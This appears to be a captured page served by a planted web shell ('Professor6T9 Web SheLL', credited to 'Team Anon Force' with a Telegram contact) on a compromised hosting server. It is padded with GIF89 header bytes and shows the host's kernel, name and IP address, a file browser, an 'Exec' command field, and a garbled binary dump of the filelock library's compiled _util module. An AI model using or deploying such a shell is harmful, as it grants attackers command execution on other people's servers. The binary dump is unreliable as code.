GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
filelock
/
__pycache__
[ HOME ]
Exec
Submit
File Name : _util.cpython-312.pyc
� ���g� � �\ � d dl mZ d dlZd dlZd dlZd dlmZmZ d dlm Z d d�Z d d�ZddgZy)� )�annotationsN)�EACCES�EISDIR)�Pathc �r � t j | � }|j dk7 r�|j t j z st t d| � �t j |j � r5t j dk( rt t d| � �t t d| � �yy# t $ r Y yw xY w)a3 Raise an exception if attempting to open the file for writing would fail. This is done so files that will never be writable can be separated from files that are writable but currently locked. :param filename: file to check :raises OSError: as if the file was opened for writing. Nr zPermission denied�win32zIs a directory) �os�stat�OSError�st_mtime�st_mode�S_IWUSR�PermissionErrorr �S_ISDIR�sys�platform�IsADirectoryErrorr )�filename� file_stats �=/opt/hc_python/lib/python3.12/site-packages/filelock/_util.py�raise_on_not_writable_filer s� � ���G�G�H�%� � ���Q���!�!�D�L�L�0�!�&�*=�x�H�H��<�<� �)�)�*��|�|�w�&�%�f�.A�8�L�L� (��0@�(�K�K� +� �� � ���s �B* �* B6�5B6c �P � t | � j j dd�� y)zp Ensure the directory containing the file exists (create it if necessary). :param filename: file. T)�parents�exist_okN)r �parent�mkdir)r s r �ensure_directory_existsr '